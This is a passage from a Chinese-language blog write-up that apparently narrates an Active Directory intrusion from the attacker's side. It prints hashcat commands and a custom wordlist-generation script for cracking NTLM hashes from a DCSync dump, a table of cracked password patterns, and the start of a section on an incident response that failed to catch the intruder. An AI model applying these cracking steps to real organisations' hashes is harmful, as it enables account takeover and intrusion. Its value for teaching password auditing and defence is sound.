3px;border: medium;"><span leaf="">EXEC sp_configure </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;xp_cmdshell&#39;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">; RECONFIGURE;</span><br/><span leaf="">EXEC sp_configure </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;show advanced options&#39;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">; RECONFIGURE;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">[ 0x09 ] 哈希破解 — 为什么定制字典比 ROCKYOU 更好用</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">数十个 Domain Admin 的明文密码。不是因为 rockyou 有魔法，而是因为正确的字典比 rockyou 更早命中。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">策略是：在盲目地扔 rockyou 之前，先构建针对目标的定制字典。组织名称、相关年份、枚举中观察到的默认密码模式：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># 枚举中观察到的模式</span><br/></span><span leaf="">cat </span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span leaf=""> corp_contextual.txt </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;&lt;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">EOF</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corpcenter</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp2017</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp2018</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp2019</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp2020</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp2021</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp2022</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp2023</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp2024</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp2025</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corp2026</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Corp2017</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Corp@2017</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">InfoCorp</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">InfoCorp2017</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">spring2020</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">jsmith2011</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">corpcenter2017</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">changeme123</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">changeme1234</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">password</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">123456</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">EOF</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然后用 hashcat 模式 1000（NTLM）：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">#</span></span><span leaf=""> 从 DCSync dump 中提取哈希（格式 user:</span><span style="color: rgb(36, 41, 46);"><span leaf="">RID</span></span><span leaf="">:</span><span style="color: rgb(36, 41, 46);"><span leaf="">hash</span></span><span leaf="">）</span><br/><span leaf="">awk </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">F: </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;{print $1&#34;:&#34;$3}&#39;</span></span><span leaf=""> dump.</span><span style="color: rgb(36, 41, 46);"><span leaf="">txt</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span leaf=""> ntlm_only.</span><span style="color: rgb(36, 41, 46);"><span leaf="">txt</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">#</span></span><span leaf=""> 用 contextual 字典破解</span><br/><span leaf="">hashcat </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">m </span><span style="color: rgb(0, 92, 197);"><span leaf="">1000</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">a </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> ntlm_only.</span><span style="color: rgb(36, 41, 46);"><span leaf="">txt</span></span><span leaf=""> corp_contextual.</span><span style="color: rgb(36, 41, 46);"><span leaf="">txt</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">--potfile-disable -o ntlm_cracked.txt --force</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">#</span></span><span leaf=""> 结果：多个哈希在 </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">s 内破解</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然后上 rockyou：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">hashcat -m 1000 -</span><span style="color: rgb(34, 134, 58);"><span leaf="">a</span></span><span leaf=""> 0 ntlm_only</span><span style="color: rgb(111, 66, 193);"><span leaf="">.txt</span></span><span leaf=""> /usr/share/wordlists/rockyou</span><span style="color: rgb(111, 66, 193);"><span leaf="">.txt</span></span><span leaf=""> \</span><br/><span leaf="">  --potfile-disable -o ntlm_cracked_rockyou</span><span style="color: rgb(111, 66, 193);"><span leaf="">.txt</span></span><span leaf=""> --force</span><br/><span leaf=""># +数十个哈希在数秒内破解</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然后用 rules（best66）扩展 rockyou 生成变体：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">hashcat -m </span><span style="color: rgb(0, 92, 197);"><span leaf="">1000</span></span><span leaf=""> -a </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> ntlm_only.</span><span style="color: rgb(36, 41, 46);"><span leaf="">txt</span></span><span leaf=""> /usr/share/wordlists/rockyou.</span><span style="color: rgb(36, 41, 46);"><span leaf="">txt</span></span><span leaf=""> \</span><br/><span leaf="">  -r /usr/share/doc/hashcat/rules/best66.</span><span style="color: rgb(36, 41, 46);"><span leaf="">rule</span></span><span leaf=""> \</span><br/><span leaf="">  --potfile-disable -o ntlm_cracked_best66.</span><span style="color: rgb(36, 41, 46);"><span leaf="">txt</span></span><span leaf=""> --force</span><br/><span leaf=""># +数十个哈希（rules 用变体扩展 rockyou）</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后，用程序化方式生成 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">corp[年份]</span></code><span leaf="">的变体：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># 生成 corp2010-2030 的变体，包含大小写和符号</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ano</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">$(seq 2010 2030)</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">do</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;corp</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$ano</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Corp</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$ano</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;CORP</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$ano</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;corp@</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$ano</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Corp@</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$ano</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;corp</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$ano</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">!&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Corp</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$ano</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">!&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;corp_</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$ano</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">done</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span leaf=""> corp_years.txt</span><br/><span leaf="">hashcat -m 1000 -a 0 ntlm_only.txt corp_years.txt --potfile-disable -o ntlm_cracked_years.txt --force</span><span style="color: rgb(106, 115, 125);"><span leaf=""># +多个哈希</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结果：约 25% 的 NTLM 哈希被破解。大多数在不到 1 秒内完成。因为这些密码就是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">corp[年份]</span></code><span leaf="">加变体。这个组织用自己的名字 + 年份作为密码模式。当你知道了这一点，不需要 GPU，只需要 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">awk</span></code><span leaf="">和 5 分钟的头脑风暴。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">是的，我对这些模式有所了解，并且观察到了这些模式。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">发现的模式：</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">模式</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">频率</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">示例</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">corp[年份]</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">20+ 用户</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">corp2017, corp2021, corp2026</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">密码=用户名</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">11 个服务账户</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">biology=biology, collect=collect</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">password</span></code><p><span leaf="">, </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">123456</span></code></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">经典弱密码</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">sshd, DefaultAccount</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">changeme123[4]</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">重置后的默认密码</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">alice, test-gpo</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">姓名+年份变体</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">个人密码</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">bob12, carol12</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">有趣的细节：11 个服务账户的密码等于用户名。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">biology=biology</span></code><span leaf="">，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">collect=collect</span></code><span leaf="">。这不是缺乏想象力，而是模式。服务账户是配置基础设施的人创建的，不是搞安全的人创建的。密码需要是团队能记住的东西，所以变成了服务名。所有人都知道这是错的。没人改。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我讨厌哈希破解。但是，我承认有时候它确实能救命。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">0x0A 没抓住人的那次事件响应</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里是关键部分。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">运行了几周之后，管理员检测到了活动。Kaspersky 行为检测标记了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">wsmprovhost.exe</span></code><span leaf="">（WinRM host）在 DC 上的可疑会话。Event 4662，置信度高。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">管理员的响应是激进且正确的：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">重置了大约 8 台他认为被攻陷的 Linux 服务器</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">轮换了所有 Linux 的 SSH 密码</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">轮换了 AD service account 的凭据</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在 DC 上重新配置了 Kaspersky</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">清理了 Windows 主机上的可疑进程</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 